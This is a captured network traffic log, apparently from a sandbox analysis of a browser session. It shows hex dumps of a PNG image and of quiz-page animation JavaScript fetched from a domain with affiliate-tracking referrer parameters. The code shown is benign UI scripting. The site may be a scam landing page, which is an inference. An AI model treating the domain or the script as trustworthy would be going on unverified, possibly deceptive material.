2025-01-08 14:44:38 UTC	1049	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:38 GMT Content-Type: image/png Content-Length: 671883 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2945-a408b" expires: Wed, 08 Jan 2025 14:44:37 GMT last-modified: Tue, 07 Jan 2025 13:16:53 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dyVwFODgpAnyZU0Ed9t88KKgJlkiKiAZB6pfRNshkfMjEt7zDUBEcdw51%2BdblE64mR2z0xAbYLceTV%2BRx%2BZAe94zwQb0H4pFZtR3cKIE0gUXFcV4RkjBGvX7PRzrQcyYz78HtXoqgda8djKG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf778ebc9f78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1493&min_rtt=1489&rtt_var=566&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1397&delivery_rate=1918528&cwnd=137&unsent_bytes=0&cid=72227dd146b1b379&ts=937&x=0"
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 c0 00 00 03 c0 08 06 00 00 00 fa d6 10 9b 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 0d 56 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRpHYsViTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RD
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 69 3e 33 31 32 46 44 41 33 30 31 31 43 44 34 45 35 45 31 46 44 33 31 35 33 41 31 43 43 32 42 38 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 43 37 42 44 41 36 43 36 34 31 35 35 38 46 38 43 45 38 45 46 42 45 33 31 31 41 45 42 43 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 31 37 46 38 45 43 33 35 32 34 31 44 32 34 41 42 31 33 35 32 30 35 36 42 30 33 31 43 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 45 36 45 32 35 33 35 42 46 45 33 36 35 38 38 37 33 35 30 45 42 34 38 38 46 34 43 43 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 36 42 30 45 32 35 39 32 42 45 32 44 31 31 44 46 39 44 33 46 42 46 44 46 36 32 45 41 33 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 43 35 Data Ascii: i>312FDA3011CD4E5E1FD3153A1CC2B897</rdf:li> <rdf:li>4C7BDA6C641558F8CE8EFBE311AEBC8B</rdf:li> <rdf:li>4D17F8EC35241D24AB1352056B031C03</rdf:li> <rdf:li>62E6E2535BFE365887350EB488F4CCAA</rdf:li> <rdf:li>96B0E2592BE2D11DF9D3FBFDF62EA3AA</rdf:li> <rdf:li>AC5
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 68 6f 70 3a 44 6f 63 75 6d 65 6e 74 41 6e 63 65 73 74 6f 72 73 3e 20 3c 78 6d 70 4d 4d 3a 48 69 73 74 6f 72 79 3e 20 3c 72 64 66 3a 53 65 71 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 63 72 65 61 74 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 33 35 36 38 37 38 30 33 2d 64 36 62 37 2d 61 35 34 30 2d 39 30 37 32 2d 61 65 38 33 37 36 61 62 37 37 62 33 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 32 32 2d 30 34 2d 32 31 54 32 31 3a 34 35 3a 31 33 2b 30 38 3a 30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 22 2f 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 Data Ascii: hop:DocumentAncestors> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:35687803-d6b7-a540-9072-ae8376ab77b3" stEvt:when="2022-04-21T21:45:13+08:00" stEvt:softwareAgent="Adobe Photoshop 21.0 (Windows)"/> <rdf:li stEvt:act
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 68 34 1a a0 94 e2 e2 a2 87 ee f9 05 38 67 58 5a 5e 42 14 45 88 e3 18 cb cb cb ee 7b 0a 01 fc 09 3f 3e 84 10 10 42 50 14 05 26 93 29 66 b3 39 ac 35 58 5a ee a0 d3 69 62 3c 19 a1 7b 7e 86 66 b3 8d ad cd 1d cc 66 33 0c 86 03 ac ae ae a2 dd 6a e3 f4 f4 04 a3 f1 08 ab ab eb e0 5c e0 f8 f8 08 c6 18 6c 6f 6f 23 cf 72 3c 7c f8 00 79 9e e1 ca c1 15 dc bd 7b 17 cd 66 0b 87 87 4f 71 7c 7c 84 d5 d5 55 b4 5a 4d 3c 7a f4 00 27 a7 c7 58 5f df c4 9d db 2f 63 6d 6d 1d 83 c1 10 8f 9f 3c 06 a5 0c db 5b 5b 18 8f c7 f8 e4 fe 3d e4 45 81 2b 57 0e 70 fb d6 6d 34 1a 0d 3c 7b 76 88 b3 f3 33 74 da 1d 30 c6 f1 f4 e9 13 4c 67 53 6c 6f 6f e3 e6 cd 9b e8 74 dc 63 db eb 9d 03 c4 22 0c 43 0c 06 43 8c c7 13 6c ac 6f 62 69 69 19 27 27 a7 e8 f7 7b 58 5d 5d 43 92 24 e8 76 cf 31 9f cf b1 be Data Ascii: h48gXZ^BE{?>BP&)f95XZib<{~ff3j\loo#r<\|y{fOq\|\|UZM<z'X_/cmm<[[=E+Wpm4<{v3t0LgSlootc"CClobii''{X]]C$v1
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 75 c2 99 73 c0 5a 51 ca 52 e8 4c b5 73 c6 37 8d 31 37 2c ec dd 34 cf 8e 46 93 e1 e3 8b ee f9 eb d6 e0 71 9a a6 9f 2c 2f 2d 3f 8b a2 f8 c4 5a 3d 25 84 7c d9 0f b1 c7 e3 f1 78 be c6 78 01 ec f1 78 3c 1e cf d7 9c 7a 57 b0 1a 49 0e 95 52 57 29 65 77 95 52 af 8e c6 a3 3b 27 a7 c7 37 4a 59 ac 4b 59 b4 a4 2c 23 6d 54 48 08 02 46 28 33 16 d0 52 83 53 8e 24 4a 10 85 21 28 67 08 c2 10 8c ba 7c 04 ad 0d b4 2e 60 2a 1f 96 11 ee fe 5e 59 48 a9 20 a5 04 a5 04 8a 2b 18 a3 61 ad 13 c0 16 2e f3 41 6b 0d 42 80 30 08 11 08 e1 f6 03 8d 85 a9 fe 9e 52 97 c9 39 1a 0f d6 e6 69 da d6 5a 5f 4b e2 e4 07 49 d2 ec 37 9b 9d f7 db ad f6 2f b4 56 bf d0 5a dd 07 d0 25 84 28 42 08 e0 c5 b0 c7 e3 f1 78 fe 48 bc 00 f6 78 3c 1e 8f e7 6b 8a b5 b6 76 7c 45 14 45 57 a2 28 ba 32 9d 4e 76 cf cf Data Ascii: usZQRLs717,4Fq,/-?Z=%\|xxx<zWIRW)ewR;'7JYKY,#mTHF(3RS$J!(g\|.`*^YH +a.AkB0R9iZ_KI7/VZ%(BxHx<kv\|EEW(2Nv
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: c6 29 f2 6c 16 8f 46 fd 57 b5 b6 2f 35 92 d6 6c 75 65 fd f1 c6 d6 f6 7b d6 d8 5f 2b 23 3f 54 aa 7c c0 18 1b 72 ce 33 c6 58 e6 1d 61 8f c7 e3 f1 78 01 ec f1 78 3c 1e cf 57 0c ce 19 38 17 bb 69 9a be d6 bd 38 7b a5 77 71 f6 d2 59 f7 ec 6e af db bd 36 99 4e b6 95 52 e0 9c 23 0c 02 70 ce 61 ad 85 d2 da 89 5a 10 68 6d 60 f2 1c da 1a 68 ab 41 08 05 17 1c 16 b4 da 8d 25 20 70 02 97 72 c0 58 0d a9 35 94 32 d0 ca 38 b7 98 5a 04 dc 8d 26 d7 21 58 00 59 d4 22 49 a5 40 40 41 29 60 41 60 0d 05 21 1c 94 90 85 63 6b 34 81 35 4e f0 12 58 58 ed c6 a0 8d 22 30 0a 4e 88 73 06 21 04 38 65 6e 34 da 5a 28 65 40 e0 42 b0 0c 75 75 49 c6 18 80 12 30 c6 40 39 59 88 78 4a 09 d1 52 f1 f9 6c ba 54 16 f2 b5 d1 68 b4 16 45 f1 9d 20 0c 4e 82 38 7a b8 b4 bc fc 30 08 c2 fb 45 91 7f 44 08 Data Ascii: )lFW/5lue{_+#?T\|r3Xaxx<W8i8{wqYn6NR#paZhm`hA% prX528Z&!XY"I@@A)`A`!ck45NXX"0Ns!8en4Z(e@BuuI0@9YxJRlThE N8z0ED
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 76 88 29 05 28 35 d0 56 c1 68 0d 02 0a c6 9c c3 4d 29 03 17 81 13 cd 70 2e b3 31 b6 ba 0c 5f 54 26 29 29 21 4b 09 46 28 74 18 81 52 06 6d 34 94 72 8e b8 7b 1c 13 68 ad 91 65 19 66 b3 19 66 f3 69 34 1c f6 af 74 7b 67 57 2e fa e7 77 c6 e3 d1 9d f5 b5 8d bd 22 cf 76 28 a5 1f 47 51 d4 0f 82 e0 82 31 36 07 6a bf de e3 f1 78 3c df 14 bc 00 f6 78 3c 1e 8f e7 0b c0 39 b9 66 87 52 fa 9a 94 f2 07 e7 67 67 6f cf e7 f3 db 59 9e ae c9 b2 5c 66 0c a4 d5 4a 5c fd 10 a9 aa 82 94 ae fa 6f ad db b9 d5 ce 29 75 02 92 b9 74 67 c6 81 4a c4 5a 4b 9c eb 6b 0d a4 54 50 ca d5 14 d5 ae a6 d6 1a 4a 57 a3 c8 c4 39 c3 46 1b 18 ed 84 32 a3 14 9c 31 80 58 68 4d a0 b5 46 51 16 b0 d6 80 31 e6 04 32 a1 10 42 22 0a 13 08 e1 76 91 5b ad 8e e5 2c 98 47 61 34 01 a1 24 cb e6 cb d3 d9 38 ca f2 Data Ascii: v)(5VhM)p.1_T&))!KF(tRm4r{heffi4t{gW.w"v(GQ16jx<x<9fRggoY\fJ\o)utgJZKkTPJW9F21XhMFQ12B"v[,Ga4$8
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 6b 61 e0 04 30 21 12 00 40 95 ae 76 84 35 a4 92 28 4b 27 7e f3 3c 47 59 96 00 80 20 08 d1 68 34 6d 92 34 54 a3 d1 98 b6 9b 9d 41 a3 d1 ec 06 61 74 9e 24 51 af b3 b4 34 6c 24 f1 98 71 32 08 44 30 6e b7 3b 93 d5 d5 d5 31 13 7c 7c f4 ec e9 fc c3 0f de 2f 46 93 a1 51 3a b4 c6 a1 8d 31 ca 18 53 6a 6d 32 63 2e 27 84 ad b5 46 6b f3 4c 6b dd 33 c6 fc da 5a 2b 8c 35 d4 5a 4b aa 5d 68 6d ad 29 b5 56 65 59 16 4a 88 a6 d8 de de 39 14 22 7a 90 c4 c9 db 67 e7 c7 77 ac 35 2b 42 70 96 17 65 3c 9b cd 3b b3 e9 74 6d 3e 4f 93 b2 2c 61 ad 04 a1 0c 8c 72 18 e2 46 b9 eb b8 aa cb b1 67 0d 4a 09 c2 30 40 10 08 70 ce 2f 3b 8e b5 eb 47 a6 94 22 0c 63 70 ee 9c 78 ce 0b 28 e5 46 ae 95 2a 48 af 77 71 75 34 1c ad 51 c6 be d3 6e b5 ee ad ae ae fc a2 28 8a 9f 2a 2d df 37 d6 9e 08 4a 65 Data Ascii: ka0!@v5(K'~<GY h4m4TAat$Q4l$q2D0n;1\|\|/FQ:1Sjm2c.'FkLk3Z+5ZK]hm)VeYJ9"zgw5+Bpe<;tm>O,arFgJ0@p/;G"cpx(FHwqu4Qn(-7Je
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 16 20 d6 d6 c9 d7 64 71 3f 8d d1 95 6b 7f b9 af ed ba 95 ab 2a 28 b8 e7 96 07 01 28 28 64 a9 90 a5 05 72 99 43 08 0d 11 70 c4 49 84 30 e2 d0 46 a1 2c 4a f4 2e ce d7 46 c3 c1 0f 9b cd ce 5b 2b cb ab 6f 03 7b ff 6d 32 1e fd 2d e7 fc bd b2 2c 8f 19 63 b9 10 42 ba d0 ad af fe 63 ec f1 78 3c df 16 bc 00 f6 78 3c 1e 8f e7 5f c0 c2 09 c5 30 08 22 80 bc 76 72 7a fa dd f1 78 f8 dd b3 f3 e3 97 cf cf ce ee 8c c6 93 75 63 2c c2 30 5c d4 ec b8 5d 58 03 18 0b 42 4c f5 55 2c 08 b0 48 76 a6 d4 25 3d c3 02 da ba cb b8 04 63 17 72 65 8c 82 d6 d5 e5 e0 7a 7f b5 36 c8 b2 02 93 c9 04 f3 79 8a 20 08 b1 b7 b7 df bf 75 f3 d6 af 6e de ba f1 0f 57 ae ec bf db 6e 77 1e 9d 9f 5d 3c 04 c8 a4 ae 55 7a 7e 6f b7 16 89 5f 17 2e 47 a4 b5 d1 46 e7 84 d0 f7 db ad b6 5c 5a 5a 3a 5d 5d 5d fd Data Ascii: dq?k*(((drCpI0F,J.F[+o{m2-,cBcx<x<_0"vrzxuc,0\]XBLU,Hv%=crez6y unWnw]<Uz~o_.GF\ZZ:]]]
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: e4 aa ea c8 c2 c0 10 0b 42 2c 38 07 08 38 38 d7 10 5c 41 69 85 34 9f 27 cf 8e 9e de 1d 0c fa ed 24 6e de ea 74 3a df 5b 5a 5e fa 90 73 fe 2e 21 e4 43 00 bd 2f f5 01 f4 78 3c 9e 6f 21 5e 00 7b 3c 1e 8f e7 5b 0f a5 0c 41 10 70 63 cc 5a af d7 bb d2 eb f5 df 38 3b 3b fd f1 c9 f1 d1 3b bd 5e f7 56 96 a5 8c 50 a0 d1 6c 20 89 63 18 63 21 65 01 a5 15 6c 61 c0 28 07 2c 79 41 cc 32 46 40 6c 3d 3a 6b aa eb c8 aa f7 d6 b9 bd 2e 28 4b c2 18 73 99 08 5d d5 f3 48 59 62 3a 9d 23 cf 24 c2 20 36 bb bb fb e7 d7 af df 78 ff f6 ed db 7f 7d f7 a5 bb ff 79 6b 6b eb 97 84 30 75 d1 bd 40 9e e7 5f 9b 44 e7 cf 03 77 10 61 aa c7 01 c3 8d 8d 8d 61 bb dd 7a 5a 94 f9 64 36 9b ce 40 c8 5f 8c 86 83 6b 69 36 6b ce e7 99 73 77 39 87 7b b8 0c 08 61 ee cf 04 60 94 56 7d cd a8 82 c7 18 b8 15 Data Ascii: B,888\Ai4'$nt:[Z^s.!C/x<o!^{<[ApcZ8;;;^VPl cc!ela(,yA2F@l=:k.(Ks]HYb:#$ 6x}ykk0u@_DwaazZd6@_ki6ksw9{a`V}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49757	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:37 UTC	754	OUT	GET /js/script.js HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:38 UTC	1064	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:38 GMT Content-Type: application/javascript Content-Length: 11959 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d293e-2eb7" expires: Wed, 08 Jan 2025 14:44:37 GMT last-modified: Tue, 07 Jan 2025 13:16:46 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2NssWKf%2FUC%2FUi6L5LZO%2B9n3J5f76eu%2FdQTy0cD8bbibnoi5AQkzivKkyyavC5D49RXw9PYhwm7H3XjWMNr86rmU9KPxXvJnxYLND%2B7EO4vOwtluGiMdDrg29Hu16Ei2RiI5cczY3GvqtVzQe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf778fdcd7d06-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1825&min_rtt=1820&rtt_var=692&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=1332&delivery_rate=1569048&cwnd=244&unsent_bytes=0&cid=1dd60ec2d4cb7700&ts=907&x=0"
2025-01-08 14:44:38 UTC	305	IN	Data Raw: 76 61 72 20 61 6e 73 77 65 72 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 22 29 3b 0d 0a 76 61 72 20 6c 61 73 74 51 6e 75 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 23 6e 6e 6c 73 74 6d 20 2e 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 22 29 2e 6c 65 6e 67 74 68 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 4e 65 78 74 28 65 6c 65 29 20 7b 0d 0a 20 20 20 20 69 66 28 65 6c 65 2e 76 61 6c 75 65 3d 3d 22 31 22 29 7b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 62 64 79 61 6c 6e 31 22 29 5b 30 5d 2e 63 6c 61 73 73 4c 69 73 74 2e Data Ascii: var answers = document.querySelectorAll(".clsnqaaa-select");var lastQnum = document.querySelectorAll("#nnlstm .clsnqaaa-select").length;function toNext(ele) { if(ele.value=="1"){ document.getElementsByClassName("bdyaln1")[0].classList.
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 62 64 79 61 6c 6e 31 22 29 5b 30 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 4f 75 74 22 29 3b 20 0d 0a 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 62 64 79 61 6c 6e 31 22 29 5b 30 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 7d 2c 20 35 30 30 29 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 76 61 72 20 61 6e 63 65 73 74 6f 72 20 3d 20 65 6c 65 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 45 Data Ascii: mentsByClassName("bdyaln1")[0].classList.add("animate__fadeOut"); setTimeout(function () { document.getElementsByClassName("bdyaln1")[0].style.display = "none"; }, 500); } var ancestor = ele.parentElement.parentE
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 6e 65 73 5b 30 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 55 70 22 29 3b 0d 0a 20 20 20 20 7d 2c 31 35 30 30 29 3b 0d 0a 0d 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 30 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 3b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 30 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 30 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 4f 75 74 22 29 3b 0d 0a 20 Data Ascii: ; dones[0].classList.add("animate__fadeInUp"); },1500); setTimeout(function () { states[0].style.display="block"; states[0].classList.add("animate__animated"); states[0].classList.add("animate__fadeOut");
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 3b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 31 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 31 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 4f 75 74 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 6e 65 73 5b 31 5d 2e 73 74 79 6c 65 2e 63 6f 6c 6f 72 20 3d 20 22 23 33 34 61 65 32 31 22 3b 0d 0a 20 20 20 20 20 20 20 20 6c 6f 61 64 49 6d 67 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 6c 6f 61 64 49 6d 67 2e 63 6c 61 73 73 4c 69 73 74 Data Ascii: .style.display="block"; states[1].classList.add("animate__animated"); states[1].classList.add("animate__fadeOut"); dones[1].style.color = "#34ae21"; loadImg.classList.add("animate__animated"); loadImg.classList
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 74 65 5f 5f 66 61 64 65 4f 75 74 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 6e 65 73 5b 32 5d 2e 73 74 79 6c 65 2e 63 6f 6c 6f 72 20 3d 20 22 23 33 34 61 65 32 31 22 3b 0d 0a 20 20 20 20 20 20 20 20 6c 6f 61 64 49 6d 67 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 6c 6f 61 64 49 6d 67 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 62 6f 75 6e 63 65 49 6e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 6c 6f 61 64 42 67 43 6f 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 20 3d 20 22 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 72 69 67 68 74 2c 20 23 65 33 66 66 64 66 2c 23 66 66 66 2c 23 66 66 66 2c 23 66 66 Data Ascii: te__fadeOut"); dones[2].style.color = "#34ae21"; loadImg.classList.add("animate__animated"); loadImg.classList.add("animate__bounceIn"); loadBgCol.style.backgroundImage = "linear-gradient(to right, #e3ffdf,#fff,#fff,#ff
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 5f 66 61 64 65 49 6e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 2f 2a 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 6f 6e 74 65 6e 74 2d 63 68 61 6e 67 65 43 6f 6c 22 29 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 20 3d 20 22 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 62 61 6e 6e 65 72 2e 6a 70 67 27 29 22 3b 20 2a 2f 0d 0a 20 20 20 20 7d 2c 31 34 30 30 30 29 3b 0d 0a 0d 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 7a 61 32 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 62 6c 6f 63 6b 22 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e Data Ascii: _fadeIn"); /* document.getElementById("content-changeCol").style.backgroundImage = "url('../images/banner.jpg')"; */ },14000); setTimeout(function () { document.getElementById("pza2").style.display = "block"; documen
2025-01-08 14:44:38 UTC	90	IN	Data Raw: 74 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 66 66 74 72 66 6f 6f 74 65 72 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 Data Ascii: t"); document.getElementById("fftrfooter").classList.add("animate__animated")
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 66 66 74 72 66 6f 6f 74 65 72 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 4f 75 74 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 6f 6d 6d 65 6e 74 73 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 66 66 74 72 66 6f 6f 74 65 72 Data Ascii: ; document.getElementById("fftrfooter").classList.add("animate__fadeOut"); setTimeout(function () { document.getElementById("comments").style.display = "none"; document.getElementById("fftrfooter
